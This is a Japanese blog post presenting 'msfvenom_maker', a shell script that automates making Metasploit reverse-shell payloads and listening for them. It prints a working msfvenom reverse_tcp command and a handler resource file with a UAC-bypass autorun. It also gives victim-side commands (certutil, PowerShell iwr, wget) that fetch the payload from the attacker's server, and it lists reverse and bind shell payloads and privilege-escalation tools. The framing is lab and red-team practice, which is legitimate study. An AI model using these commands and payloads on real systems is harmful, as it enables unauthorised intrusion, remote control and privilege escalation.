msfvenomでreverse_tcp stagerを作ってmsfでmulti/handlerでlistenするの面倒だよねって思って作ったもの

前置き

適切な言い方は分かりませんが簡単に説明するならハッキング、詳しく話すなら脆弱性を使用しての侵入からのセッションの確率、そして権限昇格。

これらを行うにはある種作業的なステップがあります。

  1. アップロードにある脆弱性を利用したりCMSに編集してテンプレートを書き換えてstager(pwnにおけるstagerとは別にreverese tcpを行うpayloadと定義するもの)を仕込む
  2. msf(meterpreter)やnc -lvnp なのでlistenする。
  3. server側でuploadや書き換えたstager payloadを実行する。
  4. sessionが確立する。
  5. 脆弱性を利用して権限昇格を行う。

この中で1については以下をよく使う。

gist.github.com

PayloadsAllTheThings/Reverse Shell Cheatsheet.md at master · swisskyrepo/PayloadsAllTheThings · GitHub

しかし、metasploitableのmeterpreterには様々な機能が備わっており出来るならmeterpreterでsessionを確立させたい。
さらに言えば単にreverese shellをとった後、meterpreterにsessionを変更するのも有効な手だと考えている。

1については上記に貼ったreverese tcpを使うこともあるがmsfvenomでpayloadを作ることが最近は多い。
msfvenomについては下記チートシートを参考にpayloadを作っている。

MSFVenom Cheatsheet « Red Team Tutorials

例としてWindowsのmeterpreter payloadを上げる。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f exe > shell.exe

Windowsにアップロードするたびに必要になるものになる。
しかしLHOSTは変わるものであるしLPORTは同時にいくつかsessionを確立させて置きたい場合もある。
そのためpayloadをコピペするのは永続的ではない。

次にlistenの問題だ。

$ nc -lvnp 4444

は面倒くさいことはもちろんのこと

use exploit/multi/handler
set PAYLOAD <Payload name>
Set RHOST <Remote IP>
set LHOST <Local IP>
set LPORT <Local Port>
Run

なんてもっとめんどくさい。なのでそこら辺を自動化してくれるスクリプトを書こうと思った。

作った後に気がついた

実は似たようなものがあることに。

tx-driver.hatenablog.com

youtu.be

上記は以下のfileを作って実行時に読み込ませる手法だ。

ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習

ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習

meterpreter.rc

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.2
set AUTORUNSCRIPT exploit/windows/local/bypassuac
exploit
msfconsole -r meterpreter.rc

自分が作った物の差異としてはset LHOSTが永続的であること。set AUTORUNSCRIPTまで実行出来ていないところである。

作ったもの

msfvenom_makerというものを作りました。 一言で言えば選択して自動でmsfvenomでreverese_tcp stager payloadを作りmsfでlistenするというものになります。

GitHub - Yunolay/msfvenom_maker: msfvenom_maker automatically creates a payload and listens with multi/handler.

f:id:Yunolay:20190922165307p:plain

使い方は至って簡単。
実行権限を与えて実行するだけ。

$ chmod 755 msfvenom_maker.sh
$ ./msfvenom_maker.sh

[+] Your IP address
1 : 127.0.0.1
2 : 192.168.xxx.xxx
3 : 10.10.xx.xx

[-] Select ip address : 3
[+] Your selected ip address : 10.10.xx.xx

[-] Input listen port : 4444
Your LHOST is 10.10.xx.xx LPORT is 4444

実行したらlistenするLHOSTとLPORTを入力する。
arg1にLHOST, arg2にLPORTでも可。

するとpython SimpleHTTPServerをカレントディレクトリで開くかどうか聞かれ、payloadを選択する。

[-] Do you want to open SimpleHTTPServer on this directory? [y/N] : y
[-] Enter the HTTP Server port (Default:80) : 

[*] Victim side download payload.
[-] cmd.exe : certutil -urlcache -f http://10.10.xx.xx/shell shell
[-] powershell.exe : iwr http://10.10.xx.xx/shell -OutFile shell
[-] wget : wget http://10.10.xx.xx/shell

Please select a payload.
[-] Binaries Payloads

[*] 1 : Linux Meterpreter Reverse Shel
[*] 2 : Linux Meterpreter Reverse Shell x64
[*] 3 : Linux Bind Meterpreter Shell
[*] 4 : Linux Bind Shell
[*] 5 : Windows Meterpreter Reverse TCP Shell
[*] 6 : Windows Meterpreter Reverse TCP Shell x64
[*] 7 : Windows Reverse TCP PowerShell x64
[*] 8 : Windows Reverse TCP Shell
[*] 9 : Windows Reverse TCP Shell x64
[*] 10 : Mac Reverse Shell
[*] 11 : Mac Bind Shell

[-] Web Payloads

[*] 12 : PHP Meterpreter Reverse TCP
[*] 13 : ASP Meterpreter Reverse TCP
[*] 14 : War

[-] Scripting Payloads

[*] 15 : Python Reverse Shell
[*] 16 : Bash Unix Reverse Shell
[*] 17 : Perl Unix Reverse shell

python SimpleHTTPServerはデフォルトNo.
victim側からwgetなどしたい時に使用してください。y, yes等を返答するとnew gnome-terminalでpython SimpleHTTPServerをオープンします。

LHOST、LPORTを選択出来るようにする前の時のデモですが、以下のようにLHOST、LPORTを指定するだけでstager payloadが作成でき、listen出来ます。

出来たpayloadをvictim側で実行しましょう。
exploit -jで実行しているためsessionに接続するには下記等が必要です。

msf > sessions 1

shell scriptなのでコマンドとして使えます。パスが通ったディレクトリに配置して実行権限を与えてください。

# cp msfvenom_maker directory in path
# ex.
$ echo $PATH
/root/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
$ cp msfvenom_maker /root/bin
$ chmod 755 /root/bin/msfvenom_maker

$ msfvenom_maker

これで上記工程における124がほぼ対話のみで自動化されます。更に権限昇格についてもmsfのモジュールであるpost/multi/recon/local_exploit_suggesterなどが使えたりと手間が減ったりlinux相手であればLinEnum、WindowsについてはWindows-Exploit-Suggesterなどを使うかもしれないがmeterpreterにはdownload, uploadコマンドがあるため非常に便利です。

最後になりますが、脆弱性があったとして低位権限のユーザシェルを取るデモ動画を作りました。

www.youtube.com

Forumにも投稿しましたが、微妙なせいか悪いコメントを含むコメントがなくて困っています。
もしアドバイス、上位ツールなどがあれば紹介くださいますでしょうか。

あとがき

コードが属にあるcase文になってしまっていて拡張性に優れないのは自分でもとても残念です。
書いてるときには待ったく気が付きませんでしたし、msfvenomだけ自動化しようといったところでした。
書いているうちにshell scriptの強みを知りました。
shell scriptでは、色々なことが出来ます。今度はwfuzz, gobusterなどの列挙系を対話かつ自動で出来るようにしたいかなって思っています。

サイバーセキュリティ レッドチーム実践ガイド

サイバーセキュリティ レッドチーム実践ガイド